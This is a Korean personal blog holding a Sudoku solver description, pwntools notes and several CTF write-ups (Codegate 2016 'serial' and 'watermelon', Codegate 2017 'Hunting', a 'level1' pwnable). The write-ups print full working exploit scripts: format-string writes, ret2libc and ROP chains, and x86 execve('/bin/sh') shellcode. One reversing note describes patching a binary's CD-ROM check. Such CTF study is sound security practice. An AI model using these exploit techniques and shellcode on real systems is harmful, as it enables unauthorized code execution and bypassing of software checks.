블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 4. 9. 18:13 프로그래밍/알고리즘


Sudoku.zip


 오일러 프로젝트 96번 문제(http://euler.synap.co.kr/prob_detail.php?id=96)를 풀기 위해 작성한 코드다.


 문제의 핵심은 당연하게도 스도쿠를 푸는 것이다.

 스도쿠를 풀기 위해서 사용된 알고리즘은 다음과 같다.


가. 유일 가능성을 갖는 자리를 찾고 존재 여부에 따라 다음을 실행한다.

 - 유일 가능성을 갖는 자리가 존재할 경우

   1. 해당 자리를 가능성이 있는 숫자로 확정한다.

   2. 숫자가 확정된 자리와 그에 영향을 받는 자리의 가능성을 제거한다.

   3. 다시 '가'를 실행한다.

 - 존재하지 않을 경우

   1. '나'를 실행한다.


나. 숫자가 확정되지 않은 자리가 있는지 확인한 후 존재 여부에 따라 다음을 실행한다.

 - 확정되지 않은 자리가 존재하지 않을 경우

   1. 문제가 풀린 경우이다. (End)

 - 존재할 경우

   1. '다'를 실행한다.


다. 숫자가 확정되지 않았으면서 가능성이 하나도 없는 자리를 찾는다.

라. '다'에서 찾은 자리가 있을 경우 가정 유무에 따라 다음을 실행한다.

 - 가정된 것이 없을 경우

   1. 문제가 잘못된 경우이다. (Error!)

 - 가정된 것이 있을 경우

   1. 최근에 행한 가정을 제거한다. (가정하기 전 풀이 상황으로 돌아간다.)

   2. (x, y)자리에서 n의 수를 가정했다고 할 경우, (x, y)자리의 n의 가능성을 없앤다.


마. 주어진 정보만으로는 풀이가 불가능하므로 가정을 한다.

   1. 현재 풀이 상황을 스택에 저장한다.

   2. 임의의 가능성 있는 자리를 찾는다.

   3. 해당 자리에 들어갈 수 있는 수 중 하나를 확정한다.

   4. 숫자가 확정된 자리와 그에 영향을 받는 자리의 가능성을 제거한다

바. '가'로 돌아간다.


* 유일 가능성이란 줄이나 상자에서 하나의 가능성만 갖을 경우를 의미한다.

Ex. 다음과 같은 상황에서 (9, 2)자리가 9라는 숫자로 유일 가능성을 갖는다.

[그 이유는 (9,2)자리가 (3,1)상자에서 유일하게 9의 가능성을 갖고 있기 때문이다.]


내 생각에 코드에서 개선해야 되는 부분은 2가지가 있다.

1. 한 자리에 하나의 가능성만 있는 경우를 확인하지 않았다. (현재는 가정으로 대신하고 있는거 같다.)

2. 가능성을 확인할 때 2중 for문으로 모든 자리를 확인하는게 아니라, 가능성이 변화된 부분을 중심적으로 확인하면 좋을거 같다.

'프로그래밍 > 알고리즘' 카테고리의 다른 글

탐욕 알고리즘  (0) 2020.01.11
완전 탐색  (0) 2020.01.11
[Baekjoon] 10610번: 30  (0) 2017.06.26
[프로젝트 오일러] Prob4, Prob5 Prob9, Prob10  (0) 2017.05.20
[프로젝트 오일러] Prob18  (0) 2017.05.20
posted by Nehoy
2017. 3. 11. 14:03 Hack/포너블

level1.zip

이 문제를 구하게된 경로를 까먹어서 어떤 대회인지 모르겠다..


일단 checksec.sh 프로그램을 이용하여 NX가 안걸려있는걸 알 수 있다.


이 프로그램은 Book Manager라는 메뉴를 실행하는데, 간단하게 설명하면 1. Insert는 책 입력, 2. List는 책 목록 열거, 3. Search는 책 검색, 4. Delete는 책 삭제의 기능을 갖는다.

(참고로 이 책 목록은 linked list를 이용하여 구현되어있다.)


하나 이상의 책이 입력되어있으면 3. Search를 이용하여 검색을 할 수 있는데, 위와 같이 FSB가 일어나는 코드가 있다.

버퍼의 크기와 입력 길이가 0x400이나 되서 부담없이 쉘코드까지 넣을 수 있는 상황이다.


문제는 조작할만한 전역변수가 없는 상황에서 ASLR이 걸려 있다는 것이다. %n을 이용하여 ret을 버퍼의 중간 부분으로 조작하기 위해서, 변동되는 버퍼의 주소에 따라 자동으로 FSB Payload를 만드는 코드가 있어야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import math
import time
 
proc = remote('localhost'9002)
 
def recv() :
    return proc.recvrepeat(0.3)
 
def fsb_func_num(num) :
    length = len("%{0}x".format(num)) - 4
    
    temp = int(math.log10(num))
 
    num -= (length // 2* 8
    if (length % 2== 1 :
        num -= 8
 
    res = "%"
    if temp > int(math.log10(num)) :
        res = "%0"
    res = (res + "{0}x").format(num) + fsb_func_len(length)
    return res
def fsb_func_len(length) :
    res = "%x" * (length // 2)
    if (length % 2== 1 :
        res += "%8x"
    return res
 
recv()
proc.sendline("1")    # insert
recv()
proc.sendline("name"# book_name
recv()
proc.sendline("1")    # book_id
 
recv()
proc.sendline("3")    # search
recv()
proc.sendline("%p")   # FSB - buffer addr
temp = proc.recvline()
 
# FSB Payload Start
buf_addr = temp[temp.find('0x') : -1]
buf_addr = int(buf_addr, 16)
 
shcode_addr = buf_addr + 0x160    # padding
ret_addr = buf_addr + 0x40c + 4   # buf_size + SFP
 
temp1 = (shcode_addr & 0x0000ffff- 200 - 4
temp2 = ((shcode_addr & 0xffff0000>> 16- temp1 - 200 - 4 - 16 - 4
 
payload = "%8x"*10 + "%x"*15 + fsb_func_num(temp1) + p32(ret_addr) + "%hn" + "%8x%x" + fsb_func_num(temp2) + p32(ret_addr + 2+ "%hn"
payload += (0x160 - len(payload)) * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
recv()
proc.sendline("3")     # search
recv()
proc.sendline(payload) # FSB
recv()
 
time.sleep(1)
 
proc.sendline("ls -l level1")
print(recv())
cs

fsb_func_num은 출력해야 되는 문자 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_num(100) => %092x%8x


fsb_func_len은 먹어(?)야 하는 문자들의 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_len(len("123")) => %x%8x


buffer+0x160에 쉘코드를 넣었다.


사실 별 어려운 문제는 아니였는데 실수도 여러번 하고 해서 오래걸렸다...

'Hack > 포너블' 카테고리의 다른 글

[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[CSAW 2017] scv  (0) 2017.09.20
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
posted by Nehoy
2017. 2. 23. 11:39 Hack/포너블

Codegate 2016 문제 중 하나인 watermelon이다.

watermelon.zip


<프로그램 결과>

playlist를 추가하고 수정하는 프로그램이다. 3. Modify playlist로 추가하지 않은 index의 playlist를 수정할 수 있는데, 이곳이 취약점으로 발전된다.


<gdb>

3. Modify playlist 로 0번째 목록을 수정하면 위와 같은 상황이 된다.

ebp의 주소가 0xffffc3d8인데 read 함수의 매개변수로 들어가는 주소가 0xffffc3d4이다. music과 artist의 입력 길이가 220이므로 ret를 변조할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import time
 
repeat_time = 0.5
 
proc = remote("localhost"9002)
 
def recv() :
    proc.recvrepeat(repeat_time)
def recv_send(value) :
    recv()
    proc.sendline(value)
 
recv_send('hyeon')    # name
recv_send('3')        # modify
recv_send('0')        # index : 0
 
recv()
# music : AAAABBBB printf@plt - ori_ret - read@got.plt
proc.send('AAAABBBB' + p32(0x08048500+ p32(0x8049575+ p32(0x804c00c))
recv_send('b')        # artist
 
for i in range(08) :
    proc.recvline()
 
# get read addr
temp = proc.recv()[:4];
read_addr = ''
for i in reversed(range(04)) :
    read_addr += temp[i]
read_addr = '0x' + read_addr.encode('hex')
 
print("read addr : " + read_addr)
cs

<libc python code>

<libc python 결과>

<libc-databse libc 버전>

read함수의 got 값을 이용해서 libc버전을 구할 수 있다. 이를 이용해서 system 함수의 주소를 알아내면 된다.

리틀 엔디안을 고려하여 출력 값을 반전 시켜줘야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import time
 
repeat_time = 0.3
 
def recv(proc) :
    return proc.recvrepeat(repeat_time)
def recv_send(proc, value) :
    recv(proc)
    proc.sendline(value)
 
def func() :
    proc = remote("localhost"9002)
 
    recv_send(proc, 'hyeon')    # name
    recv_send(proc, '3')        # modify
    recv_send(proc, '0')        # index : 0
 
    name_addr = 0x804d7a0
    # music : AAAA - BBBB - printf@plt - pop edi - read@got.plt
    recv(proc)
    proc.send('AAAA' + 'BBBB' + p32(0x8048500+ p32(0x8049a6a+ p32(0x804c00c))
    # artist : name - read@plt - leave & ret - 0(stdin) - name - 20
    recv_send(proc, p32(name_addr) + p32(0x080484f0+ p32(0x80496f7+ p32(0+ p32(name_addr) + p32(20))
    
    for i in range(08) :
        proc.recvline()
 
    # check
    temp = recv(proc)[:4]
    if len(temp) < 4 :
        proc.close()
        return 1
    
    # get system addr & bin/sh addr
    read_got = ''
    for i in reversed(range(04)) :
        read_got += temp[i]
    
    read_got = int('0x' + read_got.encode('hex'), 16)
    print('read_got : ' + hex(read_got))
    system_addr = read_got - 0xe4c50 + 0x3de10
    sh_addr = read_got - 0xe4c50 + 0x174055
    
    # name : AAAA - system - BBBB - bin/sh
    proc.send('AAAA' + p32(system_addr) + 'BBBB' + p32(sh_addr))
    
    time.sleep(1)        # wait to open shell
    
    proc.sendline('ls -l watermelon')
 
    print(recv(proc))
    return 0
 
while True :
    if func() == 0 :
        break
cs

<exploit python code>

<pop edi - 0x8049a6a>

맨 처음 ret를 printf@plt로 변조하여 read@got 값을 출력하고 이를 이용해서 system과 /bin/sh의 주소를 구한다. read@got는 ret로 활용할 수 없는데, 그 뒤에 있는 값을 ret로 사용해야 하는 상황이다. 따라서, pop edi를 이용해서 read@got를 edi에 넣고, ebp에 name의 주소를 넣는다.

그 다음 read를 이용해서 name의 값을 "AAAA - system - BBBB - name + 16 - sh"로 변조한다. 그러면, leave를 하면서 esp가 name으로 가게 되고 ret을 통해 system이 실행된다.


페이로드는 다음과 같다.

music & artist : AAAA - BBBB - print@plt - 0x8049a6a - read@got - name - read@plt - leave & ret -  0(stdin) - name - 20

name : AAAA - system - BBBB - /bin/sh


<exploit python 결과>

이상하게 check의 recv에서 값이 잘 넘어오지 않는다. 원인을 파악하지 못해서 일단 반복해서 실행하게 만들었다.


고정되어있는 name 변수를 ebp로 설정하는게 이 풀이의 요지다.

'Hack > 포너블' 카테고리의 다른 글

[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
posted by Nehoy
2017. 2. 21. 10:01 Hack/포너블

%x$y (x : 1 이상, y : 포맷 스트링)



<32bit 프로그램 결과>



<64bit 프로그램 매개변수 순서>

index 1 : edi

index 2 : esi

index 3 : edx

index 4 : ecx

index 5 : r8d

index 6 : r9d

index 7 : stack

'Hack > 포너블' 카테고리의 다른 글

[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
posted by Nehoy
2017. 2. 20. 06:32 Hack/포너블

Codegate 2016 예선 문제 중 하나인 Serial이다.

Serial.zip

<프로그램 화면>

맨처음 이 프로그램을 실행시키기 위해서는 serial을 입력해야 한다.


<IDA를 이용하여 본 0x400cbb(check_serial)>

serial을 알아내기 위해서 python이나 c언어로 위 함수를 직접 모방할 수도 있지만, 복잡한 코드로 구성되어있기 때문에 이번에는 angr를 사용해보기로 했다.


1
2
3
4
5
6
7
8
9
10
11
import angr
 
def main():
    p = angr.Project("serial", load_options={'auto_load_libs': False})
    ex = p.surveyors.Explorer(find=(0x400f2e), avoid=(0x400d2c0x400e82))
    ex.run()
    
    return ex.found[0].state.posix.dumps(0).strip('\0\n')
 
if __name__ == '__main__':
    print main()
cs

<serial값을 알아내기 위한 python - angr code>

인터넷에 돌아다니는 angr 소스에 find와 avoid 주소만 바꾼 것이다.

find=0x400f2e 는 serial을 맞추면 나오는 Smash me!를 출력하는 곳이고, avoid=0x400d2c, 0x400e82는 각각 number only와 Wrong!을 출력하고 exit하는 곳이다. (사실 find주소만 제대로 되면 avoid 주소는 시간 단축 외에는 쓸모가 없는거 같다.)


<python - angr 결과>

위 결과에서 615066814080이 serial값이 된다.


<프로그램 화면>

올바른 serial key를 입력하면 위와 같이 4개의 메뉴가 등장하게 된다.

여기서 주의깊게 봐야할 메뉴는 1. Add와 3. Dump다.


<0x400a27(add)>

<0x4009dd<dump>

1. Add에서 32byte의 string을 넣을 수 있는데, 24-32byte는 3. Dump에서 호출할 함수의 주소로 활용된다. 기본적으로 24byte에 0x40096e가 들어가지만, 주소값이 들어가고 문자열을 복사하기 때문에 덮어씌울 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import time
 
proc = remote('localhost'9002)
 
def send(value) :
    proc.sendline(value)
def recv() :
    print(proc.recvrepeat(0.1))
 
recv()
 
send("615066814080"# serial
recv()
 
send("1"# add
recv()
send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00")
recv()
 
send("3"# dump - print(__libc_start_main_ret)
print(proc.recvline()) # func : 
 
temp = proc.recvline()
main_ret = int(temp[:temp.find(' ')], 16)
 
print('main_ret : ' + hex(main_ret))
cs
<addr python code>

<프로그램 결과>

<libc-database libc버전>

위 3. Dump에서 printf함수를 호출하면 fsb를 일으킬 수 있다. 이를 이용해서 main함수의 return값인 __libc_start_main_ret를 구하면, libc 버전을 구할 수 있다.


/* 항상 하던대로 "%p"*X를 사용하면 index가 12인 값밖에 구하지 못하기 때문에 main_ret를 구하지 못한다. 이를 어떻게 하나 write-up을 보다가 찾은게 %19$p인데, 19$가 index를 지정해주는거 같다. Linux에서만 적용되는거 같지만, 좀 더 연구할만한 가치는 있는거 같다. */


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import time
 
proc = remote('localhost'9002)
 
def send(value) :
    proc.sendline(value)
def recv() :
    print(proc.recvrepeat(0.1))
 
recv()
 
send("615066814080"# serial
recv()
 
send("1"# add
recv()
send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00")
recv()
 
send("3"# dump - print(__libc_start_main_ret)
print(proc.recvline()) # func : 
 
# get system address
temp = proc.recvline()
main_ret = int(temp[:temp.find(' ')], 16)
sys_addr = main_ret - 0x20830 + 0x45390
 
recv()
 
send("2"# remove
recv()
send("0"# index : 0
recv()
 
send("1"# add
recv()
send("/bin/sh;" + " "*16 + p64(sys_addr)[:-2])
recv()
 
send("3"# dump - system("sh')
recv()
 
time.sleep(1# wait to open shell
 
send("ls -l serial")
recv()
 
cs

<exploit python code>

<exploit 결과>

1. Add로 넣는 문자열 중간에는 NULL이 있을 수 없다. 이 문제점을 안고 /bin/sh 문자열을 어떻게 넣나 찾아보던 중에 명령어가 세미콜론(;)으로 구분되는 것을 보고 위와 같이 exploit 하였다.


원격 접속이기 때문에 recv받을 때까지 기다리는 시간을 충분히 해줘야 한다. ex. recvrepeat(0.1)


<checksec.sh>

처음에는 NX를 확인하지 않고 shell code를 넣어서 문제를 풀려고 했다. 그게 shellcode - exploit.py 파일이다.


※ kknock 서버와 내 vm - ubuntu를 왔다갔다 거리면서 문제를 풀어서 user가 변하는 모습을 볼 수 있다. 실제 문제를 푼 곳은 vm - ubuntu다. kknock 서버에서는 구한__libc_start_main_ret에 맞는 libc버전이 나오지 않아, 문제를 풀지 못했다.

★ angr와 libc-database를 조금 야매로 한거 같아서 나중에 제대로 조사해봐야겠다.



'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 19. 18:17 Hack/포너블

- ps | grep

ps -ef | grep -n 'program_name'


- socat

socat tcp-listen:9002,reuseaddr,fork,bind=0.0.0.0 exec:program_path


nc localhost 9002


- checksec.sh checksec.sh

./checksec.sh --file program_name


'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[포너블] pwn1  (0) 2017.02.15
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 19. 18:08 Hack

- pwntools 사용법

# import

from pwn import *


# access 1

shell = ssh("id", "127.0.0.1", port=9999, password="passwd")

proc = shell.run("./program")


# access 2

proc = process("./program")

proc = process(["cat", "test"]) # 2017.05.16


# access 3

proc = remote("localhost", 9002)


# send

proc.send("test\n")

proc.sendline("test")


# recv

proc.recv()                 # EOF deadlock

proc.recvline()            # \n deadlock

proc.recvlines()           # EOF deadlock

proc.recvrepeat(0.3)

proc.recvall()              # EOF deadlock

proc.recvuntil(str)       # str deadlock


# p32 | p64 <==> u32 | u64 (반대되는 함수)

addr = proc.recvline()

addr = int(addr, 16)

addr = p64(addr)       # p32 or p64


# poll : exit code 반환 (실행 중일 경우 None 반환)

// proc.poll(False)          # 매개변수는 deadlock 여부

proc.poll()                   # 2017.05.16


# ELF

program = ELF('./program')

libc = ELF('./libc')


setvbuf_plt = program.plt['setvbuf']

setvbuf_got = program.got['setvbuf']


system_offset = libc.symbols['system']


- libc.rand 사용법

# import

from ctypes import *

import time


# setting

libc = CDLL('libc.so.6')

seed = libc.time()

libc.srand(seed)


# rand

libc.rand()

'Hack' 카테고리의 다른 글

[Python] pwntools log 없애기  (0) 2017.06.17
posted by Nehoy
2017. 2. 15. 21:53 Hack/포너블

pwn1.zip

현규형이 간단하게 pwntools를 연습해보라고 준 문제다.


프로그램은 진짜 간단한 bof 문제다. 특이사항은 버퍼의 크기가 0x10byte라서 shellcode가 못들어가기 때문에 buffer - SFP - RET 뒤에 shellcode를 넣고 주소를 이에 맞게 변경해줘야 한다.


p64는 주소값을 리틀엔디안에 맞게 반환해 주는 함수이다.  (pwntools 내부에 존재하는 함수이다.)


쉘을 따고 ls를 한 화면이다.

'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 12. 17:19 Hack/포너블

hunt.zip


<프로그램 실행 화면>

 스킬을 사용하여 각 레벨의 보스를 죽이는 프로그램이다.


<0x40184C - level_clear>

<0x4018D4 - game_clear>

 4 레벨을 클리어하면 flag를 얻을 수 있다.


<0x4019A4 - boss_attack>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
 
def defense(v1) :
    t1 = (v1 >> 32& 0xFFFFFFFF
    t2 = t1 >> 30
    t3 = v1 & 0xff
 
    v2 = ((t2 + t3) & 3- t2
    
    v = 0
    if v2 == 1 :
        v = 3
    elif v2 == 2 :
        v = 2
    else :
        v = 1
    
    v_str = "{0}".format(v)
    print(v_str)
 
defense(int(sys.argv[1]))
cs

<매개변수로 넘겨진 rand() 값을 토대로 보스의 공격을 예측하는 파이썬 코드>

 스킬을 사용하면 보스 또한 공격 하게 되는데 3개의 선택지 중 하나를 선택하여 공격을 막을 수 있다. 보스의 공격 값은 rand() 값을 기반으로 정해지게 되는데, rand()의 seed를 time() 값으로 설정하기 때문에 같은 시간에 seed를 설정하면 보스의 공격 값을 미리 알 수 있다.


<main>

<level 4 보스의 체력>

 attack으로 총 82번 '2. Use skill'을 하면 level 4가 되는데, level 4 보스의 체력은 0x7FFFFFFFFFFFFFFE가 된다. 메뉴 실행 횟수가 250미만으로 제한되어 있고 제한된 횟수안에 저 체력을 다 깎을만한 damage의 skill도 없으므로 체력을 깎아서 죽일 수는 없고, 보스의 체력을 2만큼 올려 오버플로우를 일으켜야 한다.


<0x401580 - use_skill>

 use_skill() 함수를 보면 스킬의 index가 4이하일 때, damage의 음수값 검사는 64bit로 진행하지만 공격 연산(hp -= damage)은 32bit로 진행하게 된다. 문제점은 index가 4이하인 스킬로는 damage를 음수로 만들 수가 없다는 것이다.


<main>

<0x40117C - skill_damage>

<0x400F46 - skill_damage_icesword>

 use_skill() 함수는 thread로 실행되는데, fireball과 icesword의 경우 damage 값 연산 함수(skill_damage)에서 sleep(1)을 한다. damage 변수는 공유되기 때문에, 위 sleep(1)을 이용하여 fireball - use_skill()에서 icesword의 damage 값(0xFFFFFFFF)으로 공격하면 된다.

 주의해야 할 점은 fireball - use_skill()에서 byte_603380의 값을 1로 만들었을 때, icesword - use_skill()이 다시 진행돼야 한다는 것이다. 이렇게 해서 "You are already using ~" 문자열이 출력되면, 보스의 hp에서 0xFFFFFFFF가 빼지는걸 막을 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
 
void change(FILE *fp, int value);
void defense(FILE *fp);
void attack(FILE *fp);
void final(FILE *fp);
 
void main() {
    FILE *fp = NULL;
    int i;
    
    srand((unsigned)time(NULL));
    if ((fp = popen("/home/hunting/hunting""w")) == NULL) {
        printf("error - popen\n");
        return ;
    }
    
    for (i = 0; i < 82; i++)    attack(fp);
    for (i = 0; i < 2; i++)     final(fp);
    
    pclose(fp);
}
 
void change(FILE *fp, int value) {
    fprintf(fp, "3\n%d\n", value);
    fflush(fp);
}
void defense(FILE *fp) {
    FILE *py_fp = NULL;
    char buffer[100];
    int select;
    
    sprintf(buffer, "python /tmp/hy/defense.py %d", rand());
    
    if ((py_fp = popen(buffer, "r")) == NULL) {
        printf("error - popen2\n");
        return ;
    }
    
    fscanf(py_fp, "%d"&select);
    pclose(py_fp);
    
    fprintf(fp, "%d\n", select);
    fflush(fp);
}
void attack(FILE *fp) {
    fprintf(fp, "2\n");
    fflush(fp);
    defense(fp);
}
void final(FILE *fp) {
    change(fp, 2);
    fprintf(fp, "2\n");
    fflush(fp);
 
    rand();
    defense(fp);
    change(fp, 7);
    fprintf(fp, "2\n");
    fflush(fp);
    
    sleep(1);
    
    rand();
    defense(fp);
}
 
cs

<문제 풀이에 사용된 C 코드>

<풀이 결과>

 python - pwn을 이용해서 원격으로 접속하니 명령 전달에 딜레이가 걸려 제때에 thread가 생성이 안되는 문제가 있었다. 서버에서 로컬로 문제를 풀어야 했는데 서버에는 pwn이 설치되어있지 않아서, c언어로 코딩한 다음 문제를 풀었다.


s1mp13_rac3_c0nd1t1n_gam3_


'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
posted by Nehoy
2016. 12. 20. 10:07 Hack/리버싱

위 사진과 같이 Drive의 타입 값을 가져와서 CD-ROM인지 확인하는 프로그램이다.


401024-26을 보면 EAX와 ESI를 비교하여 분기하게 된다. 


401026에서의 EAX와 ESI의 값은 위와 같게 된다.



EAX와 ESI의 값이 같으면 되는 것이므로 MOV EAX, ESI로 어셈블리어를 변경하여 항상 분기하게 한다.



배운점.

Dump Debugged Process를 할 때에 OEP가 현재 실행위치로 변경되므로 꼭 신경써서 본 OEP로 바꿔주자.

'Hack > 리버싱' 카테고리의 다른 글

[CSAW 2017] tablez  (0) 2017.09.20
[Codegate 2016] compress  (0) 2017.05.20
[Reversing.kr] imagePrc  (0) 2016.05.30
[Reversing.kr] Music Player  (0) 2016.05.18
[Reversing.kr] Easy Unpack  (0) 2016.05.12
posted by Nehoy
prev 1 2 3 4 5 next